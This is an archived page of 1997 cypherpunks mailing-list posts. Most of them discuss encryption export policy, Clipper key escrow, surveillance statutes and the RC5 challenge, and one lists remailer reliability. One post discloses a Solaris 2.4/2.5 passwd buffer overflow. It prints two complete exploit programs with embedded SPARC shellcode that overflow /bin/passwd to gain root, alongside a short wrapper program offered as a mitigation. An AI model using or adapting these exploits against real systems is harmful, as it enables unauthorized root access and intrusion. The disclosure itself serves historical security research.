December 2003 - cypherpunks-legacy

Re: Speculations on Espionage-Enabled Encryption
by Martin Minow 17 Dec '03

17 Dec '03

Jim Bell writes: > >Has it been established that Microsoft (is only/can only) sign crypto >add-ons which are approved for export? Since there are no restrictions >domestically, presumably Microsoft can sign anything it wants. If those >versions ever manage to "sneak out" of the country, well that's too bad! > Here are some speculations based, in part, on my interpretation (repeat, MY INTERPRETATION) of discussion on code signing at last year's Java One conference: -- Only the vendor, physically located in the USA, will sign crypto add-ons. -- Since the add-ons are physically signed in the USA, the signed add-on must comply with all export regulations. I.e., no restriction on domestic use, various export control restrictions as appropriate to the crypto add-on. I would presume that the add-on would be distributed public-key encrypted, and could only be created by the holder of the corresponding private key (i.e. the operating-system vendor) and, furthermore, could only be run by an operating system that could decrypt the add-on package. A vendor could presumably export operating system variants that could not execute some subset of crypto add-ons because the variant lacks the ability to decrypt the package. In the long-term (3-5 years), I wouldn't be suprised to find the decryption capability moved onto the processor chip, making the problem of distribution strong crypto more difficult. Martin Minow minow(a)apple.com

1 0

Re: CIA Lie
by John Young 17 Dec '03

17 Dec '03

After eying the disingenuous CIA letter to Greg, it may be worth eying disingenuous USG laws on electronic surveillance, most of which ostensibly apply to foreign targets but may catch US citizens in the global sweep, say, as on Cypherpunks -- keep at it, Greg. We've put some of them on our site today, as listed at: http://jya.com/crypto.htm fis.htm Foreign Intelligence Surveillance (108K) 50usc402a.txt Coordination of Counterintelligence 50usc438.txt Access to Classified Information 18usc794.txt Espionage and Censorship 18usc2511.txt Electronic Communications Intercepts 18usc2709.txt Electronic Records Access 15usc1681u.txt Disclosures to FBI for Counterintelligence 12usc3414.txt Right to Financial Privacy For details not fully revelatory of the CIA's operations, see 50USC413 et seq., by searching the United States Code at: http://www.access.gpo.gov/su_docs/aces/aaces002.html

1 0

Re: Clipper article in Cu Digest, #9.10, Wed 20 Feb 97
by Sean Roach 17 Dec '03

17 Dec '03

At 09:16 AM 2/21/97 -0800, Bill Stewart forewarded: >CUD is available at URL: http://www.soci.niu.edu/~cudigest/ >Here are some excerpts: ... >> The Defense Department plans to remove the government key escrow >> software from its Fortezza cards used on the Defense Message System, a >> move that signals the death of the Clinton administration's >> controversial Clipper initiative and one that should encourage >> civilian use of the cryptographic cards. >> >> A DOD spokeswoman confirmed the decision to remove the key escrow but >> would not provide further details. >> >> The DOD decision, which will be formalized in a policy expected out >> shortly, is in response to the administration's decision last October >> to support key recovery technology instead of the controversial >> Clipper initiative. Each agency must decide how it will implement the >> government's policy internally. A technical advisory committee will >> develop standards for a federal key management infrastructure. >... >> DOD has for years pressured civilian agencies to use government escrow >> technology, but the agencies were wary of the law enforcement access. >> Stephen Walker, president and chief executive officer of Trusted >> Information Systems Inc. (TIS), said the policy will remove the last >> remnants of the Clipper and serve as an official endorsement of key >> recovery technology. ... So instead of all of the keys being stored in some guarded vault, the parent key which each chip uses to encrypt part of the users key when transmitting is kept in some guarded vault. That way they get the key in some 10 messages unless you rotate often. Or the keys are assigned according to some unusual system. Assuming that only 10,000,000 people were interested in the cards, then only 2^24 keys, or 16777216 keys need to be assigned. An additional 100+ bits of "key" can be thrown in, so long as the government has those, or can reconstruct them from the others. If you can only affect part of the key, can't a brute force attack get you, knowing that certain random digits were always the same? Of course this would become too obvious really soon, unless some elaborate system were used to rotate the garbage. such as having bits 2, 5, 9, 11, 12, 14, and 19 tell which of 128 different garbage sets to throw in. Please correct me if this is unfounded. Please inform me if I'm on the right track. Please tell me that I'm just irrationally paranoid so I can get some help.

1 0

(Fwd) RC5-56 effort by New Media Laboratories
by Robert Rothenburg 'Walking-Owl' 17 Dec '03

17 Dec '03

This came though on the RC5 challenge list. My apologies for those who already have seen it. --Rob ------- Forwarded Message Follows ------- Date: Sat, 22 Feb 1997 15:29:05 +0100 From: lendl(a)cosy.sbg.ac.at (Otmar Lendl) To: challenge(a)list.ee.ethz.ch Subject: RC5-56 effort by New Media Laboratories Hi all, I just noticed that New Media Laboratories launched an attack at the RC5/56 challenge. For details see http://zero.genx.net/ Just FYI, otmar -- / Otmar Lendl (lendl(a)cosy.sbg.ac.at) # http://www.cosy.sbg.ac.at/~lendl/ \ \ Killfiles generate SEP fields. Beware: the CE-Norm does not cover them. / ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl(a)unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key.

1 0

List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{'alpha'} = '<alias(a)alpha.c2.org> alpha pgp'; $remailer{'nymrod'} = '<nymrod(a)nym.jpunix.com> alpha pgp'; $remailer{"lead"} = "<mix(a)zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"death"} = "<x(a)deathsdoor.com> cpunk pgp hash latent post"; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<remailer(a)lycaeum.org> cpunk mix pgp hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 24 Feb 97 6:46:43 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config(a)nym.alias.net ++#*+#++*#*# 3:57 100.00% weasel config(a)weasel.owl.de ++++++--++++ 1:00:37 99.99% winsock winsock(a)rigel.cyberpass.net .-----.----+ 6:43:17 99.91% dustbin dustman(a)athensnet.com +---------+ 3:38:39 99.87% squirrel mix(a)squirrel.owl.de + + ++--++++ 59:34 99.83% lucifer lucifer(a)dhp.com +++-+--++++ 44:49 99.81% exon remailer(a)remailer.nl.com *#++# *+#*# 1:49 99.78% cyber alias(a)alias.cyberpass.net +++*-*+-+ ** 33:47 99.43% extropia remail(a)miron.vip.best.com - ---_.__.. 28:37:50 99.10% jam remailer(a)cypherpunks.ca ** _**** ** 53:24 98.84% middle middleman(a)jpunix.com -- -- --+ 3:19:18 97.67% reno middleman(a)cyberpass.net +++ - .- + 1:51:29 97.38% replay remailer(a)replay.com ---++ --*** 48:23 97.36% balls remailer(a)huge.cajones.com *#_.-#### 3:58:16 93.66% haystack haystack(a)holy.cow.net **+* ## 6:32 91.52% mix mixmaster(a)remail.obscura.com __ 158:04:34 89.24% shaman remailer(a)lycaeum.org * 17:04 49.94% wazoo remailer(a)wazoo.com +*+++ 37:27 21.84% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

1 0

TMN_yet
by John Young 17 Dec '03

17 Dec '03

We've received reports from Kuala Lumpur on the two TMnet hacks last week that led to a shutdown, with more detail than Reuters: TMN_yet

1 0

BON_ker
by John Young 17 Dec '03

17 Dec '03

2-24-97: "OECD to map out common security framework for online shopping" "Big-Bank Group Seeks To Control Destiny Of Payment System" "GTE Takes CyberTrust To Japan" "GSA Announces Access America Plan" Key initiatives of the Access America plan, being run by the GSA's Office of Government-wide Policy (OGP), include: providing support to interagency groups; playing a central role in developing card technologies; expanding the current electronic benefits transfer (EBT) systems; and providing information technology training to government executives. ----- BON_ker

1 0

CDM_aok
by John Young 17 Dec '03

17 Dec '03

2-24-97. Financial Times: "Japan is poised to adopt CDMA for digital mobile phones, dealing a blow to European ambitions to make GSM the world standard." Congrats to Qualcomm! Wonder if TIA/NSA is ready to bolster CAVE, or is this a anti-GSM global deal to boost crypto-weak wireless? ----- CDM_aok

1 0

Big Security Hole in Solaris 2.X (X)passwd + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Tue Feb 25 14:22 EET 1997 Romania " Another letter - another bug " An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd) Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in an internal function ( some like sa_chauthtok() ). Using a buffer overflow exploit anyone can gain root access (passwd need suid exec bit from root). passwd has a second overflow bug when it is called with '-s' option in an internal strcpy(). I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it must to shift the LEMON_BUFFER in a reverse direction before exec - that's happening only for a special combination of the exec args - see my exploits. A way to prevent the exploit is to rename passwd, nispasswd and yppasswd and get out suid-exec bit. After that you have to compile a little program ( some like newpass.c ) with name passwd or nispasswd or yppasswd like root and give them suid-exec bit. You have to change the "hidden_passwd" constant with the new name of Xpasswd files. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)math.pub.ro , skipo(a)sundy.cs.pub.ro , skipo(a)ns.ima.ro Phone: (401) - 410.60.88 ---------------------------- file newpass.c ------------------------------- #include <stdio.h> #include <syslog.h> #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i<argc; i++) { if(strlen(argv[i]) > MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ------------------------- # End

1 0

BXA Site for Crypto Comments
by John Young 17 Dec '03

17 Dec '03

The Bureau of Export Administration has set up a Web page to provide the public comments submitted on transferring encryption items from the US Munitions List to the Commerce Control List. Here's the URL and index of hyperlinked comments on 24 February 1997; note the 12MB comments by Technical Communications Corp.: http://www.bxa.doc.gov/pubcomts.htm -------------------------------------------------------------------- Public Comments Encryption Items Transferred from the U.S. Munitions List to the Commerce Control List December 30, 1996 (61 FR 68572) 1. University of Waterloo, 32K 2. John and Laren Navas, 35K 3. Cylink, 49K 4. Motorola, 212K 5. Secure Computing, 78K 6. Tuttle and Taylor, 313K 7. Lyman C. Welch, 78K 8. ISTAC, 138K 9. American Association for the Advancement of Science, 230K 10. Trusted information Systems, Inc., 240K 11. IBM, 251K 12. Hughes Electronics, 250K 13. Industry Coalition on Technology Transfer (ICOTT), 196K 14. Murphy & Weber, 120K 15. Steptoe & Johnson LLP, 229K 16. America Online, Inc., 238K 17. Citibank, 1296K 18. NCR, 104K 19. American Civil Liberties Union (ACLU), 138K 20. United States Council for International Business, 449K 21. V-One, 134K 22. William A. Root, 525K 23. Thoroughbred Security Solutions, Ltd., 181K 24. Microsoft, 2783K 25. Commercial Internet Exchange Association, 340K 26. The Direct Marketing Association, Inc., 126K 27. Technical Communications Corp., 11896K 28. Software Publishers Association, 488K 29. Alston & Bird, 380K 30. Association for Computing Machinery, 417K 31. National Association of Manufacturers, 269K 32. Computer & Communications Industry Association, 374K 33. Dewey Ballantine, 284K 34. American Bankers Association, 482K 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 36. Winston & Strawn for ICOTT, 204K 37. Sun Microsystems, 331K 38. Key Escrow Working Group, 408K 39. Hewlett Packard, 336K 40. Scientific-Atlanta, Inc., 158K 41. Timothy Hinds, 66K 42. Information Security Incorporated, 119K 43. Securities Industry Association, 315K

1 0